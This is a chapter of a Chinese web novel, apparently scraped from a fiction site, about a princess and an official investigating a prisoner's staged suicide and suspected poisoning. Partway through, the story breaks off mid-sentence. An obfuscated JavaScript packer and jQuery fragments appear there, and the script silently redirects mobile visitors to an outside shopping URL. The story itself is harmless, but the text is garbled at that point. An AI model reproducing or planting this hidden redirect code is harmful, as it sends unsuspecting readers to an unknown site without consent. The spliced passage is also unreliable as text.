文趣网 > 其他小说 > 在古代的逆转日常 > 5. 第五章
    他们回到大理寺的时候,天已经擦黑了。

    赵纾正准备下车,就看见大理寺门口站着的两个差役,脸色都有些难看。萧瓒跟在她身后,一抬手,两个差役连忙躬身行礼。

    “人呢?”萧瓒问道。

    “回少卿,还在原来的牢房。”左边的差役低着头,“今日傍晚的时候,狱卒去送饭,结果……就发现人已经没气了。”

    赵纾蹙起了眉,跟着他们往里走。这大理寺的牢房她可是第一次来,一股潮湿的霉味混着铁锈味扑面而来,她下意识的顿住,缓了一下才继续往里走。

    这地方也太臭了吧,简直和死了老鼠的下水道有的一拼。

    走在前方的萧瓒注意到了她的动作,微微抬臂,手探入左手袖中,从暗袋里摸出一方素帕,递给赵纾,示意她可以用来掩住口鼻。

    赵纾疑惑的看向他,迟疑了一下,还是接了下来,“谢谢。”

    柳依依被关在最里面的一间单人牢房里,地上铺了一层稻草,因着刚被关来,还是新的,不像隔壁牢房的地上,稻草已经烂了。

    柳依依躺在地上,脸色青白,嘴唇微微张开。她的脖子上有着一圈浅淡的勒痕,配合房梁上的布条,初步判定是上吊。

    赵纾蹲下来,仔细看了看柳依依的尸体。

    她虽然不是专业的仵作,但她弟弟是法医,以前她弟弟上学的时候,总是在家里看一些科普片,她也学了一点。更不要说她平时还得玩一些推理文游,基本的常识还是有的。

    “不对啊,”她抬头看向萧瓒,“柳依依如果要上吊的话,那她的脚边或者地上应该有凳子之类的东西吧?不然这么高,她怎么够得到?”

    这牢房空空荡荡,没有任何遮挡视野的地方,一览无余,除了一张被固定在墙角的床之外,连张桌子都没有。

    萧瓒听了这话,环顾了一圈四周,又抬头望向房梁。

    粗糙的布带被系在房梁之上,上头绑了个死结,整个布条断口粗糙不齐,大概是被人用力扯断的。

    “而且,”赵纾指了指柳依依的脖子,“你看她脖子上的勒痕,竟然是平着一圈下来的,正常来说人如果要上吊,那应该是往上提的,勒痕会一直蔓延到耳朵处,这绝对不是她自己干的。”

    萧瓒的脸色沉了下来。

    他转头对身后的差役说:“去把今日当值的狱卒叫过来。”

    差役应了一声,连忙跑了出去。

    赵纾又在牢房里转了一圈。她注意到墙角有个破碗,里面装着半碗冷水,她端起来嗅了一下,没什么异味。

    “柳依依今天吃过东西吗?”她朝旁边立着的狱卒问道。

    狱卒连忙摇头:“回殿下,没、没有!”他很明显有些紧张,“自从她正午被关了进来,就只送过水,饭都没给过……不对,今天傍晚给过一顿牢饭,她、她还没吃呢。”

    赵纾点点头,放下手里的碗,站了起来,拍了拍身上的灰。

    “你说有没有可能,柳依依是中毒死的?”她漫不经心的提出了一个猜测。

    “你看,前面我说了,她绝对不可能是上吊死的。你看她脸色发青,嘴唇发紫,看着有点像中毒啊。”

    萧瓒点点头,不置可否。

    他回头问狱卒:“仵作呢?”

    “仵作、仵作已经下值了……”狱卒的声音越来越小。

    萧瓒皱了皱眉:“去把他叫过来,现在就去!”

    唯一剩下的狱卒也跑了出去。

    赵纾嫌弃的看了看房间里唯一的一张床,到底还是没有勇气坐下去,站在房间中央陷入了思考。

    到底是谁干的呢?柳依依一个家道中落的闺阁小姐,到底是谁会想要来灭她的口?又或者是仇人上门?但这可是大理寺诶,守卫森严,谁那么有本事,能不知不觉把人灭口,还伪装成上吊?

    难道和那封密信上的狼头印记有关?

    暂时想不清楚,线索就这样断了,赵纾好奇的抓耳挠腮,这就和最喜欢的电视剧突然没了下集一样难受。

    不过……

    “萧少卿,”她抬头看向萧瓒:“你说约柳依依的那个人,会不会就是知道淑妃事件内幕的人?”

    萧瓒沉思了一下,点点头:“很有可能,柳氏估计知道什么内情,所以幕后之人生怕她说出什么来,所以灭了口。”

    赵纾:“那灭口的人,就是不希望这事重见天日的人咯?”

    萧瓒没有立刻回答。

    他走到牢房门口,看了看外面才压低了声音说:“能在大理寺这样守卫森严的地方下手,这人肯定在大理寺有内应,又或者是有权有势到没人能反抗他。”

    赵纾心里一沉,新手教程简单到她还以为编剧水平就这样呢,没想到正式的第一案就这么复杂。

    “那现在怎么办?”她指了指柳依依,“咱们现在可是没线索了。”

    “线索也还有的,”萧瓒摇了摇头:“等仵作过来验尸,如果真是下毒,顺着毒药来源去查,说不定能查到什么。”

    赵纾点了点头,现在只能这样了。

    【证物档案已更新】

    【新增证物:牢房中的断布带】

    赵纾挑了挑眉,她点开证物详情,上面写着【从牢中被褥上撕下,断口参差不齐,来者身强体壮。】

    好吧,跟她猜的一样。

    就在这时,外面传来一阵脚步声,回头一看,一个新的狱卒被带了过来。

    那人是个年过中旬的男人,一进来就跪在了地上,身体抖的跟个筛糠似的。

    “小的、小的什么都不知道啊!”他磕了几个头,“小的今日就是正常去送饭,到的时候那女人已经死了!真不是小的干的!”

    萧瓒古井无波的看着他:“没人说是你干的,好好回答我的问题。今天下午,谁来过这间牢房?”

    狱卒吞了口唾沫,想了半天才说:“没)没人来过……不对,几个时辰前内务府的人来过一趟,说、说奉贤妃殿下的命令,来给那女人送点东西……”

    赵纾心头一动,贤妃?还有新人物登场。

    她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941836|213937||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    转头看向萧瓒,正好瞧见他有些苦恼的表情,这家伙做其他表情的时候,还挺有意思的嘛。

    此时的萧瓒是真的有些头疼了,柳依依是怎么和宫里的贤妃扯上关系的?为什么?这完全没逻辑。

    萧瓒:“送了什么来?”

    “就、就一碟点心,还有一壶花茶。”狱卒战战兢兢的说:“小的仔细检查过了,没什么问题,就让他们进去了……”

    赵纾心里咯噔一下,点心和茶?那不就是经典下毒必备套餐吗?

    她连忙问道:“那这些东西呢?”

    “都、都在里面呢,小的可不敢碰这贵人送的东西……”狱卒指了指牢房里。

    赵纾进去转了半天,才在床的侧边找到了一个精致的食盒,打开一看,里面还剩两块点心,旁边的茶壶倒是一点没动。她拿起这两样东西,放到鼻下轻轻嗅了嗅,都没有闻到什么异味。

    不过柳依依既然是中毒死的,那她经口的东西必然带了毒,这些东西不一定有问题,也可能把毒藏在器具里。

    她吩咐狱卒:“把这些东西都收起来,等仵作来了仔细检查一番,包括这些器具。”

    狱卒领了命,没再那么紧张了。

    赵纾站在门口,看着这些人忙来忙去,脑子里却在想另一件事。

    柳依依平日里关系简单的很,也没有渠道去认识宫里的人,公主府里的那些宫人们都是登记在册有品级的人,压根不会去搭理她这个外人。那贤妃为什么会给她送东西?

    除非……她们有什么隐秘的来往。

    她又想起那封密信,贤妃和淑妃都是他这个便宜爹的妃子,虽说淑妃已经死了十多年,万一她们之间有什么过节呢?

    “萧少卿,”她压低声音去问旁边的萧瓒,“你知道淑妃和贤妃关系咋样嘛?”

    萧瓒挑了挑眉,不明白她为什么突然问这个。

    他仔细想了想才说:“据说淑妃和贤妃是同一届进宫的,但当年淑妃正值盛宠,反而贤妃名不见经传。其他的我也不知道更多了。”

    赵纾心想也是,这人当年才多大呀?这种宫廷内幕他一个外男去哪里知道。

    她换了个问题:“那个狱卒有没有什么问题?”

    萧瓒回头看了一眼那个战战兢兢的狱卒,微微颔首:“已经派人去查他的底细了。”

    赵纾松了口气,这人还是挺靠谱的嘛。

    她突然又想起来,连忙抓上萧瓒的袖子,兴冲冲的问他:“你说,如果我们能知道那个信里的‘老地方’指的是哪,等到约定的时间,我们是不是就有机会见到那个人?”

    萧瓒没急着回她,而是低头看向自己被扯住的衣袖,挑了挑眉,见她还是不觉得有问题的样子,无奈随她去了。

    “可是我们不知道这个‘老地方’在哪。”

    赵纾失落的放下了手里抓着的袖子,双手抱胸撇了撇嘴,这也确实是个问题。

    她又回过头,朝萧瓒露出了一个微笑:“不过没关系,至少已经知道该往哪调查了,不是吗?”